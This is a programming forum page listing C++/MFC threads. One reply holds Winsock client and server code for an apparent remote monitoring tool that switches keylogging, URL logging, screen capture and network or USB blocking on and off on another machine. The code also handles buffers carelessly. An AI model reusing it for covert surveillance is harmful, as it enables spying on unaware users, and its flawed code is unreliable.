Click here to Skip to main content
16,004,887 members
Home / Discussions / C / C++ / MFC
   

C / C++ / MFC

 
AnswerRe: Process dependencies Pin
nmx_de26-Sep-06 2:38
nmx_de26-Sep-06 2:38 
QuestionSystem menu in child window Pin
Anu_Bala25-Sep-06 21:37
Anu_Bala25-Sep-06 21:37 
Questionwinsock send/recv problem Pin
_tasleem25-Sep-06 21:25
_tasleem25-Sep-06 21:25 
AnswerRe: winsock send/recv problem Pin
Sakthiu25-Sep-06 23:30
Sakthiu25-Sep-06 23:30 
GeneralRe: winsock send/recv problem Pin
_tasleem25-Sep-06 23:50
_tasleem25-Sep-06 23:50 
GeneralRe: winsock send/recv problem Pin
Hamid_RT26-Sep-06 6:57
Hamid_RT26-Sep-06 6:57 
AnswerRe: winsock send/recv problem Pin
nutkase25-Sep-06 23:58
nutkase25-Sep-06 23:58 
GeneralRe: winsock send/recv problem Pin
_tasleem26-Sep-06 21:01
_tasleem26-Sep-06 21:01 
here is code for client that connected to server
WORD wVersionRequested;<br />
   WSADATA wsaData;<br />
   SOCKET conn;<br />
   struct sockaddr_in server;<br />
   <br />
   wVersionRequested = MAKEWORD(2,0);<br />
   if(WSAStartup( wVersionRequested, &wsaData)==0)<br />
   {<br />
    conn=socket(AF_INET,SOCK_STREAM,0);<br />
   if(conn==INVALID_SOCKET)<br />
		AfxMessageBox("Socket Created Fails");<br />
	bool urlog=false; bool chatlog=false;<br />
	bool blknet=false;bool blkusb=false;<br />
	bool scrcap=false;<br />
	<br />
	CISFControllerDlg *obj=(CISFControllerDlg*)parame;<br />
	server.sin_addr.s_addr=inet_addr((char*)(LPCTSTR)obj->m_strIp);<br />
	server.sin_family=AF_INET;<br />
	server.sin_port=htons(8085);<br />
	if(connect(conn,(struct sockaddr*)&server,sizeof(server))==0)<br />
	{<br />
	//11 url logging<br />
    HWND hCbox= GetDlgItem(obj->m_hWnd,IDC_CHKLOGURL);<br />
	if(SendMessage(hCbox,BM_GETCHECK,0,0)==BST_CHECKED)<br />
   {<br />
	 send(conn,"11",strlen("11"),0);<br />
     AfxMessageBox("11");<br />
	 urlog=true;<br />
   }<br />
   else<br />
   {<br />
   	 send(conn,"12",strlen("12"),0);<br />
	 //AfxMessageBox("12");<br />
   }<br />
   //21 chat logging<br />
   hCbox= GetDlgItem(obj->m_hWnd,IDC_CHKLOGCHAT);<br />
   if(SendMessage(hCbox,BM_GETCHECK,0,0)==BST_CHECKED)<br />
   {<br />
	send(conn,"21",strlen("21"),0);<br />
	//  AfxMessageBox("21");<br />
	 chatlog=true;<br />
   }<br />
   else<br />
   {<br />
   	send(conn,"22",strlen("22"),0);<br />
	//    AfxMessageBox("22");<br />
   }<br />
   //31 network blking<br />
   hCbox= GetDlgItem(obj->m_hWnd,IDC_CHKBLKNTWK);<br />
   if(SendMessage(hCbox,BM_GETCHECK,0,0)==BST_CHECKED)<br />
   {<br />
     send(conn,"31",strlen("31"),0);<br />
	 //AfxMessageBox("i Sended 31");<br />
	 blknet=true;<br />
   }<br />
   else<br />
   {<br />
     send(conn,"32",strlen("32"),0);<br />
	 //    AfxMessageBox("i Sended 32");<br />
   }<br />
   ////41 SRC CAP<br />
   hCbox= GetDlgItem(obj->m_hWnd,IDC_CHKSRCCAP);<br />
   if(SendMessage(hCbox,BM_GETCHECK,0,0)==BST_CHECKED)<br />
   {<br />
     send(conn,"41",strlen("41"),0);<br />
	 //AfxMessageBox("41");<br />
  	 obj->m_SleepTime.TrimLeft();<br />
	 obj->m_SleepTime.TrimRight();<br />
	 t=(char*)(LPCTSTR)obj->m_SleepTime;<br />
	 send(conn,t,strlen(t),0);<br />
	 //AfxMessageBox("41");<br />
  	 ShowWindow(GetDlgItem(obj->m_hWnd,IDC_EDSCTIME),false);<br />
	 ShowWindow(GetDlgItem(obj->m_hWnd,IDC_STATICTIME),false);<br />
	 scrcap=true;<br />
   }<br />
   else<br />
   {<br />
	 send(conn,"42",strlen("42"),0);<br />
	 //  AfxMessageBox("i Sended 42");<br />
   }<br />
   ///////51 USB<br />
   hCbox= GetDlgItem(obj->m_hWnd,IDC_CHKUSB);<br />
   if(SendMessage(hCbox,BM_GETCHECK,0,0)==BST_CHECKED)<br />
   {<br />
     send(conn,"51",strlen("51"),0);<br />
	 blkusb=true;<br />
   }<br />
   else<br />
   {<br />
     send(conn,"52",strlen("52"),0);<br />
	 //AfxMessageBox("i Sended 52");<br />
   }<br />
    obj->m_LLobj.UpdateLinkList(obj->m_strIp,urlog,chatlog,blkusb,blknet,scrcap);<br />
	}<br />
	else<br />
		AfxMessageBox("Connect Fails");<br />
	closesocket(conn);<br />
	shutdown(conn,2);<br />
   }<br />
   	else<br />
		AfxMessageBox("Start UP Fails");<br />
	WSACleanup();<br />
	return 0;<br />
}


here is the server portion both r in seperate thread.

	WORD wVersionRequested;<br />
    WSADATA wsaData;<br />
    wVersionRequested = MAKEWORD(2,0);<br />
	if(WSAStartup( wVersionRequested, &wsaData) == 0 )<br />
	{<br />
	while(bRunService)<br />
	{<br />
	  int sockfd, new_fd; // listen on sock_fd, new connection on new_fd<br />
	  struct sockaddr_in my_addr; // my address information<br />
	  struct sockaddr_in their_addr; // connector’s address information<br />
	  int sin_size;<br />
	  char *yes="1";<br />
	  if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) == -1) <br />
		    AfxMessageBox("Socket Creation Failed");<br />
	  if (setsockopt(sockfd,SOL_SOCKET,SO_REUSEADDR,yes,sizeof(yes)) == -1) <br />
			AfxMessageBox("set socket app");<br />
	  my_addr.sin_family = AF_INET; // host byte order<br />
	  my_addr.sin_port = htons(8085); // short, network byte order<br />
	  my_addr.sin_addr.s_addr =INADDR_ANY; // automatically fill with my IP<br />
	  memset(&(my_addr.sin_zero), '\0', 8); // zero the rest of the struct<br />
	<br />
	  if(bind(sockfd, (struct sockaddr *)&my_addr, sizeof(struct sockaddr))== -1) <br />
		AfxMessageBox("IP not binded");<br />
	  <br />
	  if (listen(sockfd, 5) == -1) <br />
		AfxMessageBox("Listen Failed");<br />
	<br />
	   sin_size = sizeof(struct sockaddr_in);<br />
	   if ((new_fd = accept(sockfd, (struct sockaddr *)&their_addr,&sin_size)) == -1)<br />
			AfxMessageBox("accept failed");//continue;<br />
<br />
	   AfxMessageBox("Accept");<br />
	   for (int i=0;i<4;i++){<br />
		 int numbytes;<br />
		 char buf[5];<br />
		 if((numbytes=recv(new_fd,buf,2,0))==0)<br />
		   	AfxMessageBox("Conn Forcefully Rejected Receive Error");<br />
		 else<br />
		   {<br />
		   buf[(numbytes+1)] = '\0';<br />
		   AfxMessageBox(buf);<br />
		   int choice=atoi(buf);<br />
		   switch(choice)<br />
			{<br />
			case 11://url logging<br />
					if(!bLogUrl)<br />
					{<br />
					  bLogUrl=TRUE;<br />
					  RegisterBHO();<br />
					}<br />
					break;<br />
			case 12:<br />
				   if(bLogUrl)<br />
					{<br />
			   		 bLogUrl=FALSE;<br />
					 UnregisterBHO();<br />
					}<br />
					break;<br />
			case 21://chat logging<br />
				  if (!bLogChat) <br />
				   {<br />
					bLogChat=TRUE;<br />
					StartKeyloggerThread();<br />
				   }<br />
					break;<br />
			case 22:<br />
					bLogChat=FALSE;<br />
					break;<br />
			case 31://network blocking AddGlobalFilter();<br />
					if (!bAddFilters)<br />
					{<br />
					 bAddFilters=TRUE;<br />
					 AddSingleFilter();<br />
					}<br />
					break;<br />
			case 32://RemoveGlobalFilter();<br />
					if (bAddFilters)<br />
					{<br />
					 bAddFilters=FALSE;<br />
					 RemoveSingleFilter();<br />
					}<br />
					break;<br />
			case 41://screencap<br />
					if (!bScreenCap)<br />
					{<br />
					   char temp[5];<br />
					   numbytes=recv(new_fd,temp,strlen(buf),0);<br />
					   bScreenCap=TRUE;<br />
					   temp[numbytes+1]='\0';<br />
					   AfxMessageBox(temp);<br />
					   SleepTime=atoi(temp);<br />
					   StartScreenCapThread();<br />
					}<br />
					break;<br />
			case 42:<br />
					bScreenCap=FALSE;<br />
					break;<br />
			case 51://screencap<br />
					  AfxMessageBox("51");<br />
					break;<br />
			case 52:<br />
					AfxMessageBox("52");<br />
					break;<br />
		  }}//siwtch else<br />
	   }//end of for loop<br />
	  closesocket(new_fd);<br />
	  closesocket(sockfd);<br />
	  shutdown(sockfd,2);<br />
	  shutdown(new_fd,2);<br />
	}//whilend<br />
	}<br />
	//AfxMessageBox("func Ended");<br />
	WSACleanup();<br />
	return 0;	


its too long but it is it.

Tasleem Arif

QuestionRecord File Pin
Rahul.RK25-Sep-06 21:21
Rahul.RK25-Sep-06 21:21 
QuestionButton location of button on toolbar Pin
shivditya25-Sep-06 21:04
shivditya25-Sep-06 21:04 
Questionproblem Pin
amaneet25-Sep-06 20:56
amaneet25-Sep-06 20:56 
QuestionString formatting Pin
Mohammad A Gdeisat25-Sep-06 20:50
Mohammad A Gdeisat25-Sep-06 20:50 
AnswerRe: String formatting Pin
_AnsHUMAN_ 25-Sep-06 21:00
_AnsHUMAN_ 25-Sep-06 21:00 
AnswerThe STL way... Pin
Rob Caldecott25-Sep-06 23:12
Rob Caldecott25-Sep-06 23:12 
GeneralTemplate version [modified] Pin
Rob Caldecott25-Sep-06 23:17
Rob Caldecott25-Sep-06 23:17 
AnswerRe: String formatting Pin
Hamid_RT25-Sep-06 23:14
Hamid_RT25-Sep-06 23:14 
GeneralRe: String formatting Pin
David Crow26-Sep-06 3:20
David Crow26-Sep-06 3:20 
GeneralRe: String formatting Pin
Hamid_RT26-Sep-06 3:44
Hamid_RT26-Sep-06 3:44 
AnswerRe: String formatting Pin
David Crow26-Sep-06 3:21
David Crow26-Sep-06 3:21 
QuestionFatalExecutionEngineError was detected Pin
K. narasimharao25-Sep-06 20:23
K. narasimharao25-Sep-06 20:23 
AnswerRe: FatalExecutionEngineError was detected Pin
Hamid_RT25-Sep-06 23:38
Hamid_RT25-Sep-06 23:38 
GeneralRe: FatalExecutionEngineError was detected Pin
K. narasimharao26-Sep-06 0:01
K. narasimharao26-Sep-06 0:01 
GeneralRe: FatalExecutionEngineError was detected Pin
Hamid_RT26-Sep-06 3:46
Hamid_RT26-Sep-06 3:46 
Questionsearching peers using winsock Pin
ku1983200125-Sep-06 20:06
ku1983200125-Sep-06 20:06 
AnswerRe: searching peers using winsock Pin
Sakthiu25-Sep-06 20:27
Sakthiu25-Sep-06 20:27 

General General    News News    Suggestion Suggestion    Question Question    Bug Bug    Answer Answer    Joke Joke    Praise Praise    Rant Rant    Admin Admin   

Use Ctrl+Left/Right to switch messages, Ctrl+Up/Down to switch threads, Ctrl+Shift+Left/Right to switch pages.